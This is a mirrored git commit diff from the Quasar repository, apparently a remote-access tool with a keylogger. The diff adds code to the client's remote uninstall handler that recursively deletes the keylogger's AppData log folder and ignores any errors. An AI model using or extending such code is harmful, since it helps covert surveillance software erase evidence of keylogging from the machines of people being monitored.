mirror of https://github.com/quasar/Quasar.git
Improved uninstall (delete existing logfiles)
This commit is contained in:
parent
c39bff3a6f
commit
ad23e57399
|
@ -204,6 +204,18 @@ public static void HandleUninstall(Packets.ServerPackets.Uninstall command, Clie
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
string logsDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\";
|
||||||
|
if (Directory.Exists(logsDirectory)) // try to delete Logs from Keylogger
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Directory.Delete(logsDirectory, true);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
|
string filename = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
|
||||||
|
|
Loading…
Reference in New Issue